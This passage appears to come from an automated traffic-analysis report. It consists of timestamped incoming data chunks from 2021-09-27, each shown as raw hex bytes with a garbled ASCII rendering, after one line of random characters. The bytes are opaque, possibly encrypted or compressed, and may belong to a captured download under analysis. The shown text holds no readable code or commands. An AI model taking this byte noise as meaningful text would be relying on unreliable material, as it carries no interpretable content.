<cl8AZ#8}Qy7=i*6"fMgWc"D)G@u$.(#!\J-J'#$K%&0\Qjcj'!v\Cn"SeyxrGlCYFXH<m8H804-F,O,k$wasUeH
2021-09-27 18:14:09 UTC	173	IN	Data Raw: 86 fb 37 00 2f e1 b3 29 29 26 5c 1c 4a 10 e1 3d 23 e6 0f 03 90 6a 56 b0 20 48 50 92 a8 7b ea 40 3a af 03 34 2c 8e 45 0b 61 83 1d b3 78 7b de 2b da 2c 86 6e a4 3d cf 52 55 b6 b6 7e d2 c9 4c 12 15 ce 87 01 22 ca 25 e6 46 55 14 44 a3 42 e3 c4 1c 5e 97 a4 b9 84 37 f2 12 88 f0 cf d0 b2 74 d3 9d 13 b7 5e d7 31 e3 59 d7 91 46 4f 4f b1 ea b9 c8 53 2f 50 9d cf 3d ad 36 e1 72 98 1c 73 89 60 bf 30 7c 56 22 9a 24 12 5c 73 11 07 de 0f 56 f2 e0 e9 d9 10 68 a2 e0 38 a1 c0 b1 1f 37 a5 cb 69 f9 4e a3 8e ee bb 1f d3 ca f1 d5 8f 44 d4 4d 20 44 25 03 66 bf 9c d7 7a 6f 8b 43 96 27 91 0c bd 70 8a be f1 82 91 81 b7 86 6b db 98 de e5 f2 f3 54 e5 e7 47 b5 c4 db 97 3c 1d ca f8 06 13 8a ff 40 8b e3 eb 22 36 02 82 38 97 18 0f 88 36 82 c1 d8 d9 96 95 c2 46 c2 55 c1 68 68 97 1d ad 5b Data Ascii: 7/))&\J=#jV HP{@:4,Eax{+,n=RU~L"%FUDB^7t^1YFOOS/P=6rs`0\|V"$\sVh87iNDM D%fzoC'pkTG<@"686FUhh[
2021-09-27 18:14:09 UTC	175	IN	Data Raw: 0c 6e 04 04 06 f2 53 34 04 bf 4c 59 16 13 61 06 c7 03 0f e2 12 f2 f2 e6 46 17 77 74 8e 2c 8c 45 cd 52 d7 09 68 2c cd ee 6a f6 92 11 d5 bd b5 54 d0 fa 24 28 5d ce 04 b2 b3 25 41 8d ae 52 1a 34 21 f8 e4 37 49 c3 21 2b ac 5d 4e 78 1e 55 4f 09 17 81 a7 a3 1a 59 09 59 13 04 df d3 1c 2f c1 7d dc 20 02 e6 b5 71 62 50 bb 87 40 6c 6f 69 d9 b2 d0 5b a9 fc af a6 90 34 6d af d0 59 17 a9 e4 cc e8 ef a7 91 39 1f 5c f5 42 eb 7d d7 11 59 18 2c eb 3a db 26 f6 b1 59 61 2e 3d 14 6d 70 93 32 1b 6d 55 fe cc 10 0a c4 80 94 e1 fa a1 cf db 6f 45 8c be 2d fd b3 2d d4 6b 54 84 3a 4a 84 ba b6 0f c9 09 0e df 1c 55 7f 05 61 30 b7 31 7f 5c dd 31 ab 53 c2 95 4c f0 83 40 6c 64 9d 51 20 58 4e a0 4d 2c df 8c 0c 88 bb eb 27 2b a6 ba 8f ce 18 79 00 43 f9 02 8b 6d 6c a9 ba e4 8d 12 88 b8 53 Data Ascii: nS4LYaFwt,ERh,jT$(]%AR4!7I!+]NxUOYY/} qbP@loi[4mY9\B}Y,:&Ya.=mp2mUoE--kT:JUa01\1SL@ldQ XNM,'+yCmlS
2021-09-27 18:14:09 UTC	176	IN	Data Raw: bb 11 32 40 42 14 f0 80 b7 a6 7b d0 c8 4c 08 84 b3 6f 4b f9 10 f1 e7 6d 50 16 45 a3 86 74 48 d6 21 4c 02 6f 85 70 f7 10 89 f0 58 47 15 aa 99 46 59 64 5f b4 34 e1 58 d7 c1 d7 46 4e cd 31 c3 1a 52 50 55 9f ce 3d 3a a1 22 bb d3 c7 65 44 61 24 35 7e 57 22 ca b5 08 09 0f ca b1 81 0f e1 f7 e2 ef c1 32 db b1 a0 70 7a d6 7e 1e e5 a0 c9 2f fb 24 20 c6 94 c7 c4 99 05 f0 3b 8a 46 d2 55 02 f7 36 aa 28 64 f6 18 7b 66 8d 41 90 27 06 9b ae 36 f1 65 b3 4b 90 a4 b1 84 6d db 0f 49 7a 7d 8f 8f 0f 2e 46 f5 c2 d9 91 3c 07 5b eb 9f 68 51 c5 88 8a bf ed 20 30 02 15 af 5d 13 72 53 5c 48 c0 a0 df 94 93 c2 82 55 46 0a 12 b3 ad d9 ac cf 8c 4e d1 65 0c 0a 58 50 6d 88 f5 9b 08 27 07 91 23 06 01 61 2c af 3f 15 6f 19 8f 19 63 26 7f 47 24 fc 07 c5 a7 80 74 a4 9f f2 ad f0 37 08 0c a2 a0 Data Ascii: 2@B{LoKmPEtH!LopXGFYd_4XFN1RPU=:"eDa$5~W"2pz~/$ ;FU6(d{fA'6eKmIz}.F<[hQ 0]rS\HUFNeXPm'#a,?oc&G$t7
2021-09-27 18:14:09 UTC	177	IN	Data Raw: 21 31 74 86 48 82 b3 ca 35 43 1b ae 83 8b ef 98 81 3f af cf c2 ba 3b ae cb 4e 10 8a 8e 07 55 cc 32 21 a2 a7 49 0b cf 13 fb 40 08 fb 56 1a b7 5a 21 dc f6 b7 e7 62 cf 2f 5c f6 30 b4 b4 5f b3 d0 4a ab 6a af bd 12 ef 79 d7 0b a3 91 a8 c6 dd ea 79 a7 58 ad c4 ca ad 99 f8 fc d6 52 48 1a ba eb 59 59 fd 97 c9 82 4a af 3c 71 7c 72 05 32 e8 f9 8e 20 9a cb 4a 45 81 12 f0 f8 37 cf 1c ec 9e 03 c6 f6 a1 32 2c 7c 7a 56 12 3a 57 11 61 13 42 12 71 8f de d6 44 7d 93 61 fa 37 ea b8 24 06 a5 2a 52 2e 84 4e 66 83 11 f9 bf 4e 1c fb e8 cf a1 43 3e dd 1a 0c 8f 3a 30 ca 53 7d 75 0e cf 28 6b 02 d5 f9 79 1e b6 95 e4 61 0e 0c 13 da aa 51 70 70 cb 4d d6 51 77 70 f6 7d 6e 09 43 c2 e5 71 5b a3 3b 96 c7 86 70 b8 eb 13 78 0f e8 11 0a 89 44 0c 04 cc d0 bd 2a 1d d6 f0 8f 09 3b 51 d6 dc 01 Data Ascii: !1tH5C?;NU2!I@VZ!b/\0_JjyyXRHYYJ<q\|r2 JE72,\|zV:WaBqD}a7$R.NfNC>:0S}u(kyaQppMQwp}nCq[;pxD;Q
2021-09-27 18:14:09 UTC	178	IN	Data Raw: ac 16 1e 29 fe b5 42 9e 14 fd 75 97 35 6f aa 41 5f 9e de 36 a0 3f 32 22 c6 5d 01 75 71 00 ba bd 6b 79 0b ed 3d 05 f1 e0 47 60 f4 a3 45 23 e8 ae 09 5f 59 ec 1d ff 3b 5c ed b7 d2 ac 3e 76 43 81 33 f9 93 c8 0c 95 13 90 06 e8 54 79 06 bd 69 c3 ef 6f 61 1a df 97 0f 26 13 bf f0 d5 43 9b 8e 08 8e 11 94 d1 cd 02 d0 44 6a c8 e6 5b 93 8a 92 4f cd 29 b5 a2 d1 b7 26 2d 58 91 fd ce b3 5a 59 19 ae 83 1d 79 23 17 d4 76 b0 bf 21 8b b4 c9 4e 10 1c 18 4d d6 12 eb 5e df 1a 98 11 cd 13 fb d6 9e 1e ee f1 6e 25 5c 02 04 ad e5 62 cf b9 ca 42 cb 6a 6d 20 ce d0 5f b0 68 af bd 84 79 6f 34 e0 7a ee d5 e4 e9 f1 7b a7 58 3b 52 5e 9d 44 21 83 ab 11 1e 01 b8 eb 59 cf 6b f4 80 68 93 d0 41 14 05 69 07 32 e8 6f 18 fc 8e 16 93 3a fc 94 68 e3 35 cf 1c 7a 08 8e 38 1c 78 4d 51 d4 c1 4d 10 3a Data Ascii: )Bu5oA_6?2"]uqky=G`E#_Y;\>vC3Tyioa&CDj[O)&-XZYy#v!NM^n%\bBjm _hyo4z{X;R^D!YkhAi2o:h5z8xMQM:
2021-09-27 18:14:09 UTC	179	IN	Data Raw: 4d 2d ee f9 e4 a8 57 8f 95 81 83 b6 10 8e 83 35 68 3e a3 8b f9 ec 02 52 e0 7c 9d 2a 03 7a 66 dc c0 f8 2b f8 e4 72 02 61 de 55 8c 06 32 c6 2a fb 79 31 42 47 ae 10 87 2f df 63 71 f7 9b 0f ab a3 79 a3 2a ef 9f 85 32 82 47 59 f2 dc b3 6d 7c af c8 1a 2c 10 b3 a1 7b b4 12 79 fd 9d 57 69 45 db a2 e0 48 3a 24 01 00 59 81 ec f0 6f 89 6a 7c d3 15 52 a9 0b 5b d1 40 0c 33 9e 58 6b e5 43 46 69 cb 7c c1 18 56 f4 52 e0 ce e3 1e 35 22 76 e2 8a 67 38 40 64 32 01 57 dd ee 21 08 58 09 87 b3 55 0b 8d f0 9d ef e1 17 4f b1 e0 42 37 d4 3b 3f ec a7 b6 2f ba 01 b4 c6 ef c1 89 9b ab f4 0e 8d 39 d2 36 27 63 36 03 1c 29 f4 07 5a b4 89 3e 90 a2 23 0f ae 70 f0 28 b1 cb 94 5a b5 fb 6d 7d 2a dd 7a d5 89 c2 0d d1 63 6e c6 a6 91 f4 22 cf eb 06 69 1c c7 a4 8f 38 e9 5f 30 eb 30 3b 5d 0f 75 Data Ascii: M-W5h>R\|zf+raU2y1BG/cqy2GYm\|,{yWiEH:$Yoj\|R[@3XkCFi\|VR5"vg8@d2W!XUOB7;?/96'c6)Z>#p(Zm}zcn"i8_00;]u
2021-09-27 18:14:09 UTC	180	IN	Data Raw: 00 ee 37 b5 80 e0 84 87 b5 34 83 3c e0 43 7b a1 22 b7 a1 d7 6c 79 92 0e d8 56 ef 06 c2 da 18 39 10 ba 04 ba 95 26 16 11 29 f0 9b d0 40 e2 61 55 2e f1 d3 86 32 d2 d2 6a 51 5b 80 6f f5 49 13 a8 2b d9 92 d3 21 26 55 cb 4a 2d a6 68 27 3c 1b 23 b3 1f ef 23 85 72 ad 9a c1 fa 29 d1 cb e1 20 1e 8e 4d 74 81 30 89 b4 c1 5b 74 cf c2 cb d4 08 1e 52 57 b5 7b 22 d9 e4 c8 e7 90 ff bb 5c 42 11 f9 b6 30 a4 0b 59 d4 6a bb 8c 86 ef 6f d2 46 a1 6a ab 3f ce 95 79 92 69 39 c4 5e 88 d4 fa bd c1 ca 5b 65 ba bd 68 cd fd f4 cc cf 48 62 3f cf 6f 0d 05 45 d9 6d 8e fc b1 86 48 84 96 4f e3 87 37 57 2d 78 9e 8e c3 bb a3 b5 2f 0f 69 29 12 83 66 85 61 b4 72 5f 73 4f c7 c7 57 02 93 bb cb a3 ea 7d 21 4b a7 73 56 19 97 31 66 78 20 6d bf 9f 2c b6 ea 4a bb 96 2e a2 1a 10 bd ae 30 25 56 30 77 Data Ascii: 74<C{"lyV9&)@aU.2jQ[oI+!&UJ-h'<##r) Mt0[tRW{"\B0YjoFj?yi9^[ehHb?oEmHO7W-x/i)far_sOW}!KsV1fx m,J.0%V0w
2021-09-27 18:14:09 UTC	182	IN	Data Raw: ea f5 0e 75 01 de 2d d3 5f 73 61 9b b5 24 78 29 df f1 d8 c6 87 1f be 45 cf f2 fd 21 b6 ca d4 13 4e 75 12 fc 9d 79 22 12 8c 71 46 f0 15 9e a1 fb e2 39 06 26 97 00 12 13 37 da 15 52 f2 25 d1 86 6e ab 9d 5b 19 c9 d7 e6 e2 83 d5 bc 41 f3 55 c9 ea c1 67 c4 2f 0e 9a 15 3f 47 37 f5 4a e0 1c 67 39 f7 bf 34 7e 8c 20 b7 23 f1 64 0b 11 b3 fc 99 56 2d e7 34 c3 4f 4d aa dd 40 a1 d4 03 88 37 25 c9 f4 f9 59 b6 fb d2 c3 1f 9b 78 66 d5 82 4e 09 57 7f 61 69 3e 1e bf f4 65 ed 6f 26 41 4b 25 7b 0d 2f 4d f2 be b1 36 06 81 9e 92 b6 d9 72 df d9 e8 8b 54 0d 53 d0 b5 13 d9 4a 3e 7a cd 2f 3b 6b 8a c7 f5 1c e3 9a 36 eb 00 68 39 b8 32 77 88 5e 35 56 d8 d8 95 48 c0 ff c3 41 ff 11 68 af a4 3a 5b 5f 59 0a 67 71 9c 71 3c 68 53 f7 e6 9e 88 2a 90 f8 04 7c f7 67 69 3c ce 6d 64 19 d2 bd 32 Data Ascii: u-_sa$x)E!Nuy"qF9&7R%n[AUg/?G7Jg94~ #dV-4OM@7%YxfNWai>eo&AK%{/M6rTSJ>z/;k6h92w^5VHAh:[_Ygqq<hS*\|gi<md2
2021-09-27 18:14:09 UTC	183	IN	Data Raw: 89 08 cf 7f d0 96 22 53 cd 80 91 61 92 a2 e5 f0 b7 df d1 44 6e 57 5d 4a ff 25 b3 f4 44 c0 ac fe 1d 68 6b 87 e4 ad b2 54 21 f6 9c 10 4c 6d 1c 26 05 76 17 30 5c 34 1a a2 0c 14 11 86 d6 c2 56 50 c1 b5 27 b7 02 e1 84 3c 60 b2 b9 b0 0a 13 6f b6 22 25 d0 6d af b1 ad c0 84 e1 26 d0 d0 a1 ec 3e e4 3e d9 a2 a5 25 3b f4 17 8a 42 fa 81 40 11 39 1e 61 e9 24 cf ac bd ce 59 48 d2 aa 14 80 42 de 30 95 6f fd b5 b3 10 48 38 17 94 6b fc ec cd 61 7a 0b c7 c1 2d a3 4f ba d4 d3 60 c9 38 2a 87 d6 fd 70 c9 73 f2 48 1c 00 7e 48 63 87 a1 33 34 23 dd a7 57 c4 c2 22 4a bd 81 6c 6f 45 d6 2e 20 ea b2 37 4d 84 de c1 0e f2 ac 2c 6f 54 a6 77 73 59 18 52 07 0e fb 04 88 8b 24 d6 ba 0c 71 85 88 62 52 ab 72 b6 db 89 31 73 ab f4 00 f8 7d 30 c7 3e 73 26 35 ba 0c f4 5d 72 c5 7d 85 6d 0f 33 13 Data Ascii: "SaDnW]J%DhkT!Lm&v0\4VP'<`o"%m&>>%;B@9a$YHB0oH8kaz-O`8*psH~Hc34#W"JloE. 7M,oTwsYR$qbRr1s}0>s&5]r}m3
2021-09-27 18:14:09 UTC	184	IN	Data Raw: 4a 47 24 e7 54 10 85 37 f2 84 89 50 5c 0a 17 2f a9 0f 0f 1b 5f d7 31 75 58 fe e0 9a 44 14 cb 5e 95 65 52 2f 50 0b ce f7 3e ec 20 0b e2 c9 33 3b 61 bf 30 ea 57 7b eb f8 0a 25 09 eb e7 fe 0f 56 f2 76 ef 35 36 96 b3 9d 42 ba 81 01 1e 37 a5 5d 2f 8d 00 6d c4 92 c1 22 ce 7a f0 d5 8f d2 d2 70 07 ba 34 7e 1c e1 a1 67 7b 6f 8b d5 90 33 2e d6 ac 0d f0 c1 e4 34 90 81 b7 10 6d a9 0a 04 78 a8 89 f5 58 51 46 b5 c4 4d 91 40 2a 16 e9 7b 69 49 92 f7 8a e3 eb b4 30 9e 10 e2 5f 72 75 6d 0b 37 c0 d8 d9 00 93 74 b2 18 44 bc 13 6e f9 a6 ac 5b 8a da d1 b1 09 47 5a 7f 6a 74 a1 e4 08 88 01 05 23 e6 31 2c 2e 2a 3e 87 3b 66 8f d2 65 b2 7f b9 21 b1 05 6b a0 31 20 db 9f 14 ab 64 37 02 3d ef a2 c2 c3 a6 cf a1 47 30 c5 bb e3 71 d6 63 88 84 ad 14 b9 a5 b2 36 9f 47 0c 31 12 f2 72 1d 30 Data Ascii: JG$T7P\/_1uXD^eR/P> 3;a0W{%Vv56B7]/m"zp4~g{o3.4mxXQFM@{iI0_rum7tDn[GZjt#1,.>;fe!k1 d7=G0qc6G1r0
2021-09-27 18:14:09 UTC	185	IN	Data Raw: 74 07 20 58 a2 1a 59 09 ef 12 fb d6 08 1e 72 c3 b5 27 21 02 c6 b2 e7 62 cf bb 5c 43 11 6f b6 22 93 d2 5b a9 6a af 9d 87 ef 6f d2 d0 81 ee a8 e4 cc e8 59 a5 58 3b c4 5e a8 41 fa 81 d6 13 59 1c ba eb 59 cd fd f0 cc 59 48 c2 2c 11 6d 70 05 22 f8 6e 8e fc b1 10 48 39 81 79 fb ea 27 cc 1c 7a 9e 8e e3 2c a3 4f 2c d4 4b 56 12 3a 57 87 41 b7 72 c9 73 f2 fe 1a 55 7f 93 61 fa a0 ea bb 2c dd a7 55 52 36 99 4c 66 82 11 34 ac 9f 2c 21 ea e9 b2 4d 2c de 1a 57 9c ac 30 24 56 fd 64 73 cf 19 79 5b c6 f9 79 89 b6 35 c7 ba 0c 70 13 d3 ab 53 70 71 cb 07 f6 7b 71 a9 f4 87 5e 7d 51 c1 e5 1f 7b 35 3b 44 f6 2b 42 c5 eb 84 6a 56 fb 11 0a 1e 44 03 11 17 d2 c1 2a fe d7 f2 8f 08 3b 9c c5 9f 33 7b 89 a0 77 47 e3 e4 c4 d7 d4 d7 a2 a5 bf 51 37 88 18 0a f0 71 7c 46 75 b4 e3 af 4e 88 69 Data Ascii: t XYr'!b\Co"[joYX;^AYYYH,mp"nH9y'z,O,KV:WArsUa,UR6Lf4,!M,W0$Vdsy[y5pSpq{q^}Q{5;D+BjVD*;3{wGQ7q\|FuNi
2021-09-27 18:14:09 UTC	187	IN	Data Raw: bf 96 71 05 26 83 21 a0 71 6c 15 fa fe 4a 54 9e e4 b6 c3 0e 44 dd e4 13 a3 00 30 6c 33 c4 c9 83 d6 ae b2 af ed e4 2d 3d 7c 61 d4 8d 51 79 51 6b 63 14 26 ad bb 5d 65 67 65 3c 47 e1 25 0b 3c 13 74 81 bc db 23 53 85 1e 86 c6 f0 c7 db d3 d5 22 7f c3 57 ef b4 a6 cb 82 3c 2e cd c1 1d 70 8f 7e f7 39 c6 f4 27 99 00 42 2f 70 0e dc 8a 21 18 ed d9 78 94 b1 e7 a7 c6 df c3 31 4d 8a a1 3d 59 a8 69 5c 66 8d 9e 94 31 41 56 ae e4 8e 9c 31 96 aa 04 23 d2 1a 52 af cc 39 7e b1 d7 1c 26 5a 4c 61 6f b6 14 82 7e 53 dc e6 16 9e e9 79 0d 65 36 82 9a d0 2a 58 a1 26 23 9e 28 8a 4a 91 a6 e2 fc 7c b8 dd b3 7a 35 66 d1 ad ea 56 2c 31 62 a3 12 0e f8 1f 2e fd 3a bd 9d 8e 75 c3 d2 fa cd 8d 67 3b 1f 07 e4 4e ce 10 1e c2 95 b0 67 c0 70 4f 31 74 d3 a4 18 b5 91 aa 20 99 ad 0e 9f 24 d7 b7 13 Data Ascii: q&!qlJTD0l3-=\|aQyQkc&]ege<G%<t#S"W<.p~9'B/p!x1M=Yi\f1AV1#R9~&ZLao~Sye6*X&#(J\|z5fV,1b.:ug;NgpO1t $
2021-09-27 18:14:09 UTC	188	IN	Data Raw: c4 1f ab a9 39 42 44 fe 4e 13 83 0b 3c d0 1d 13 ef 43 ff 81 f8 65 59 e4 ff b8 18 dc 74 4a 38 d0 62 d2 fc 93 35 cc 3f dd 94 27 d2 28 c5 dd 7e ee 9e ae 20 62 4b 1e e7 1d 59 c3 3e 05 9c eb b9 a3 cd 43 df 51 11 84 7b fb 71 e9 a1 23 7e 41 d4 09 5a 9b c1 f3 5f c8 8e d0 6b cc 8f cf 2d 2b b6 04 6a 8a db c3 08 ad 89 8f 25 b7 a2 55 56 70 18 88 04 f7 dc 6a 88 c7 6c c3 92 b5 72 82 8c d2 46 b3 74 22 d9 e2 78 f8 ae 0d 04 ea 56 eb ce e4 74 51 10 49 41 07 59 15 df 28 81 c3 0d 3d 3a ca 11 ed 58 d7 3c 15 ce 23 a0 e6 d7 9c 09 2a c2 f4 ba 20 7a d0 ff 23 62 23 ef 9d 88 bd f6 b1 a4 86 0e 5e a9 0b 0b 61 2b 9e 52 83 bf c2 f1 88 86 4f 9e 76 60 e4 73 a6 4e ee 7a c3 21 56 c9 22 ba 16 d8 56 7f 3a 4d cb 73 9a ba 48 d7 00 41 8d d2 78 8e f6 61 48 74 a3 93 2e 23 87 00 4d 26 fe 14 8b 5f Data Ascii: 9BDN<CeYtJ8b5?'(~ bKY>CQ{q#~AZ_k-+j%UVpjlrFt"xVtQIAY(=:X<#* z#b#^a+ROv`sNz!V"V:MsHAxaHt.#M&_
2021-09-27 18:14:09 UTC	189	IN	Data Raw: 37 c7 1c 0b c6 7a 71 ab 8b 71 98 81 0d 81 ae 00 ea 18 ba 87 91 82 ad 9c 69 12 09 2a 7c 28 94 b5 0b 71 63 0a c4 0a 97 04 14 ca f5 d7 6f f9 d2 36 8e 2a eb 00 15 11 15 f0 5d 91 55 79 40 dc c6 61 d5 29 93 53 83 a9 53 6d 16 81 a9 c0 87 e4 8a a5 d7 53 3d 61 59 eb 6c b9 d8 1b 09 61 07 77 31 fb 00 3e 2c a3 10 d4 69 ad 8f 60 48 37 7f 8e 24 bd 28 e1 be 07 76 be 85 52 ad 0b 36 7b 1c 76 a3 46 c1 40 8c eb 46 6c c5 ba cd 65 d1 e4 8a 6c be a5 e5 0e b2 7e 8b 83 13 6d 23 bc 63 30 38 0a 28 ad de 78 02 08 38 58 04 21 e5 f7 f4 88 78 c3 87 a3 82 76 67 d8 2a d7 14 b5 74 7b f1 9c 99 11 b8 b9 95 e0 3a a6 4b 01 0c 63 83 5b 07 5f 94 da bd b3 10 06 de da 44 e7 3b 05 57 13 33 3b 98 ce 5c 67 d8 e4 93 29 33 68 c5 9f 01 d9 46 fb bc 6b 64 d4 2b 5c 38 48 e6 d8 67 d8 e4 98 77 69 c8 a9 08 Data Ascii: 7zqqi\|(qco6]Uy@a)SSmS=aYlaw1>,i`H7$(vR6{vF@Flel~m#c08(x8X!xvg*t{:Kc[_D;W3;\g)3hFkd+\8Hgwi
2021-09-27 18:14:09 UTC	191	IN	Data Raw: c3 64 a3 03 26 d6 6b 19 12 5b 5d 8f 61 e5 72 51 79 fa de 49 55 a3 99 69 fa f8 ea 9c 2b cf a7 de 52 f9 97 42 66 0e 11 6f bf 91 2c b5 ea 9e b0 44 2c 7b 1a 37 8d a5 30 8d 56 e6 75 7a cf b4 79 45 d7 fc 79 68 b6 3f d6 bf 0c 95 13 db ba 5b 70 7c ca e0 d4 73 71 bb f5 44 6e 75 51 d4 e4 94 52 3b 3b 5e f7 49 7c cb eb 99 6b 64 e6 19 0a 27 45 37 0d 1f d2 fc 2b 9e c6 fa 8f 49 3a b3 d9 97 33 3e 88 82 6b 4f e3 ad c5 f2 c8 df a2 e8 be 89 2b 81 18 7b f1 6e 6f 4f 75 c1 e2 1c 52 81 69 e9 56 88 7e 69 80 3d f6 8d ee 0c 45 5c 0a 84 36 f3 45 e7 22 d2 df 77 a2 2c 50 e9 be 42 a9 46 48 b0 35 7a 65 b4 93 bd 44 2b a3 cc 7d 18 c2 1c af 9f 4c 16 ec 6d e4 5c 41 35 9d fe 83 ca 32 ed 89 27 68 7d a2 1d f8 25 00 f6 e1 88 bc 3a 03 a7 67 71 c2 53 3c c2 e7 34 00 9e fd be 8d 06 32 5e 2a e1 7b Data Ascii: d&k[]arQyIUi+RBfo,D,{70VuzyEyh?[p\|sqDnuQR;;^I\|kd'E7+I:3>kO+{noOuRiV~i=E\6E"w,PBFH5zeD+}Lm\A52'h}%:gqS<42^*{
2021-09-27 18:14:09 UTC	192	IN	Data Raw: eb 69 22 3c 0c e3 3b 59 06 6f 8b 5a 3c c1 d8 3b b8 93 c2 d6 c3 46 c1 13 68 d6 a5 a4 5b 8a 4c ab 64 85 9c c1 02 ce 53 58 e6 11 89 29 92 12 07 42 f6 60 56 56 cf 8e 65 da d0 15 26 fe 45 b6 68 a3 14 e7 58 1e da 3a 17 48 f1 d8 0b 31 30 f9 bb 46 2e 00 a7 91 34 bc 28 76 4d 61 bd 3c fc 12 bf e4 a1 af 30 18 d7 ca c3 6b 21 2c 68 57 13 8f f4 c0 25 29 10 04 91 61 7c b0 ef ae c6 27 6c 0a 3b 69 e8 04 c5 97 24 f4 9d ad 6f d5 6e a3 38 d0 da 2c 12 dd 9f 6a 2e 19 86 c4 96 55 da fd 2f 8a 19 59 24 a6 2e 21 35 8d 2b b2 e7 e1 14 4a 4e 25 90 50 ae 7c 04 f7 f7 2a 2e 3e e2 c8 0d 76 b2 74 ff 3e 2d 41 ce 72 8d db c9 4e b1 9f 33 02 28 30 11 18 26 63 93 27 94 df a7 ef be 6a f2 92 69 cd 30 86 a6 38 7d 67 81 91 fb 8e fc 18 d6 01 0c 64 06 38 13 bf 80 aa 33 f1 3c ca 8d 05 56 ec 63 12 3a Data Ascii: i"<;YoZ<;Fh[LdSX)B`VVe&EhX:H10F.4(vMa<0k!,hW%)a\|'l;i$on8,j.U/Y$.!5+JN%P\|*.>vt>-ArN3(0&c'ji08}gd83<Vc:
2021-09-27 18:14:09 UTC	193	IN	Data Raw: df 53 0d b4 ac 31 25 1c a7 4c 73 cd 18 32 01 e8 f9 78 88 fa 6f e9 ba 0e 71 5e 89 87 53 71 70 85 da e9 7b 73 ab bb 01 2f 7d 50 c0 b5 70 1a 35 39 46 a4 5c 31 c5 ea 85 39 0c ab 11 08 1f 10 59 47 17 d3 c0 7f a4 81 f2 8d 09 6d c6 91 9f 32 7a de fa 23 47 e1 e5 9c 8d 8e d7 a3 a4 e6 0b 6d 88 1a 0b aa 2b 24 46 74 b5 b8 f5 16 88 6b 91 0b 64 3c 60 81 41 aa 7e ac 04 47 c9 55 be 7b fd 44 7f 7c 49 81 7f a0 b5 31 d3 ed 4a a8 db 28 8a 66 74 67 75 f0 97 34 39 a2 09 1f 22 93 0e ad 56 29 2c bb 6f e5 91 25 55 c2 fc 81 1b 55 8d d4 35 69 a8 c4 27 ad 37 02 2f 88 b2 e7 28 02 7a 0f 4b 99 41 3e 23 93 0e 59 90 fc 57 fa 07 69 50 28 0c 0d eb 1d 3a af 03 db 2c 82 63 73 61 e2 b4 ed 78 7a de 50 db e4 87 30 82 3c ce 93 fd b6 b6 02 d3 a9 4c 0a 12 ce a0 18 22 13 8c 99 47 36 14 47 a3 f9 e3 Data Ascii: S1%Ls2xoq^Sqp{s/}Pp59F\19YGm2z#Gm+$Ftkd<`A~GU{D\|I1J(ftgu49"V),o%UU5i'7/(zKA>#YWiP(:,csaxzP0<L"G6G
2021-09-27 18:14:09 UTC	194	IN	Data Raw: b6 9c 9e d7 5b a9 6b 6a bd 60 e5 68 d2 d0 a0 2b a8 db e7 ef 79 a7 59 f2 c4 c7 a0 45 fa 81 d7 da 59 61 a0 ec 59 cf fc 39 cc 20 52 d5 3c 57 6c bf 05 51 ca 6b 8e bf b0 c1 48 7e a3 90 e1 b9 36 1c 1c 5c aa 8a c3 6e a2 9a 2c ec 5f 50 12 79 56 50 61 74 40 cd 73 b1 df c5 55 af a1 65 fa e2 eb a6 21 3d 89 53 52 81 94 91 66 51 3f 6b bf d9 2d 2d eb ea 85 4e 2c 99 1b 03 8e 27 2b 26 56 e0 76 62 ce 37 72 03 d5 ff 7a a3 b7 f8 e5 b3 0c 77 10 a5 b9 f4 41 79 cb dd d5 54 70 29 c5 09 6e 3b 50 4f e4 35 4e 34 3b 02 f7 74 71 73 da 83 6a 4d e9 3a 09 69 76 5e 02 53 d3 ed 29 d7 f5 f4 8f c9 64 c5 d6 08 32 7e 09 fb 64 47 e3 e5 c4 8c c7 d7 a2 a4 bf 0a 24 88 18 23 f5 2a 6f 44 75 b5 e3 f4 5d 88 69 91 57 65 71 61 80 08 f0 7f e1 04 45 c1 0b bf 34 fd 45 7f 23 48 ce 7f a2 bf 51 48 bb 4a a9 Data Ascii: [kj`h+yYEYaY9 R<WlQkH~6\n,_PyVPat@sUe!=SRfQ?k--N,'+&Vvb7rzwAyTp)n;PO5N4;tqsjM:iv^S)d2~dG$#*oDu]iWeqaE4E#HQHJ
2021-09-27 18:14:09 UTC	195	IN	Data Raw: cb 4a b8 24 d0 85 ef a6 5c 9b 10 b3 d5 cd 00 d2 16 46 61 72 47 1c fa b0 65 3d 2b 8b 04 d4 27 4e 49 ae 17 95 ca ee 54 f9 ef d3 ef 03 bc 4c b0 14 b3 e0 33 78 21 27 c1 ad b4 ff 69 4e 89 eb 75 0c fe 98 97 e3 8d 8f 4b 5e 65 56 56 33 69 1c ef 2b 47 a1 ac b0 f9 fd 97 cb 87 46 a6 76 1c f0 e2 c3 29 e7 2d a5 2c 48 9c 39 46 6a 31 b3 e6 6b cc 01 f7 67 06 64 b3 2c 31 7a ce 0a 20 8f ba 21 24 3d 02 24 2d 62 62 e8 12 38 8a cb 55 e5 b1 72 08 48 71 a0 fa 86 2a df e6 47 77 80 2d ab 0d d0 d9 cf f9 cf ff ef c4 f7 36 fb 94 0c a1 66 29 16 25 30 7c 6c fc ae 69 04 5b 7f 98 64 33 e3 a2 b3 cf 11 23 82 74 c5 e1 20 89 0a 66 54 97 30 23 d1 07 d9 33 fe 97 90 7d 7a 94 26 64 2c ec c7 9a 6a 90 91 61 fc 14 5d 6e fe 67 05 38 55 61 77 ac 72 19 fa 04 5f d6 99 a0 c1 4d 13 9b 83 20 62 aa 66 66 Data Ascii: J$\FarGe=+'NITL3x!'iNuK^eVV3i+GFv)-,H9Fj1kgd,1z !$=$-bb8UrHq*Gw-6f)%0\|li[d3#t fT0#3}z&d,ja]ng8Uawr_M bff
2021-09-27 18:14:09 UTC	196	IN	Data Raw: 62 9a 00 e4 99 d2 64 0c 59 f5 f5 e1 aa 45 a0 6c 1f ec fa ba 69 c2 3b 4d d4 29 36 12 79 35 87 25 d6 72 8c 11 f2 98 7e 55 38 f1 61 b2 c3 ea 1c 43 dd c5 35 52 a1 f7 4c 02 e1 11 0a dd 9f 4a 42 ea d5 c3 4d 44 bd 1a 61 fc cf 5f 57 3a cf 15 73 8d 7b 79 43 b6 f9 3d eb b6 2b b7 ba 4a 12 13 cf db 53 38 13 cb ba b5 7b 13 c8 f4 63 0d 7d 35 a3 e5 14 38 35 5d 25 f6 3a 11 c5 83 e6 6a 5e 91 62 7e 7a 29 76 41 78 be ac 4f c6 b0 9b e0 67 48 e9 91 fa 5d 1f fb 92 07 47 ae 8c a7 fe a8 a4 cd c2 cb 24 72 e1 6b 7e 91 46 2d 27 06 dc 80 f4 0e ed 07 f5 16 16 08 0e e3 41 a5 1a 82 61 2c bf 6e fe 47 84 2b 1c 23 1f a0 1b f2 c7 3e b1 bc 0b da b8 49 c9 53 